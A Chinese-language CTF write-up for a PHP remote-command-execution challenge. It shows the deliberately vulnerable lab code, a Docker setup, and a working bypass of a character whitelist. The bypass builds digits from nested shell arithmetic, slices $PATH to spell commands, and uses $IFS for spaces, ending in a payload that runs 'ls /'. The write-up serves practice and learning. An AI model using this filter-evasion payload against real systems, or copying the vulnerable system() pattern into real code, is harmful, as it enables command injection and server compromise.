受限字符+环境变量RCE
文章
https://blog.csdn.net/weixin_46706771/article/details/119145129
https://github.com/ProbiusOfficial/RCE-labs
搭建
<?php
//hint: flag 在根目录下,名字是一个根目录下不常见的文件名
error_reporting(0);
show_source(__FILE__);
$a = $_POST['a'];
$b = '(~SHIP}:{TAF$)';
if (strspn($a, $b) !== strlen($a)) {die('hacker!!!');
}
system("$a");
?>
Dockerfile
# 使用官方的 PHP 镜像作为基础镜像,基于 Apache
FROM php:7.4-apache# 启用mod_rewrite模块,可能对某些CTF题目有用
RUN a2enmod rewrite# 将当前目录的代码复制到容器中的 /var/www/html 目录
COPY . /var/www/html/# 设置工作目录
WORKDIR /var/www/html# 打开容器的80端口
EXPOSE 80# 启动Apache服务(由镜像默认启动)
CMD ["apache2-foreground"]
进入容器执行
ls -l /bin/sh # 查看当前指向(例如 /bin/sh -> dash)
rm /bin/sh # 删除旧链接(谨慎操作!)
ln -s /bin/bash /bin/sh # 让 /bin/sh 指向 bash
这样system可以执行环境变量切片
复现
echo ${PATH:5:1}${PATH:11:1}
然后我们通过构造数字
oct_list = [ # 构造数字 0-7 以便于后续八进制形式的构造'$(())', # 0'$((~$(($((~$(())))$((~$(())))))))', # 1'$((~$(($((~$(())))$((~$(())))$((~$(())))))))', # 2'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 3'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 4'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 5'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 6'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))', # 7
]
但是这里我们有一个11 需要构造八进制的 0 1 3 实现
echo $((013))
输出11 所以我们这样构造即可
$(($(())$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))))
最后构造整个ls / 空格使用 $IFS绕过
echo ${PATH:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))))))):$((~$(($((~$(())))$((~$(())))))))}${PATH:$(($(())$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(()))))))))):$((~$(($((~$(())))$((~$(())))))))}$IFS${PATH::$((~$(($((~$(())))$((~$(())))))))}
这里是后面复现 所以东西不多 挺好的一个题目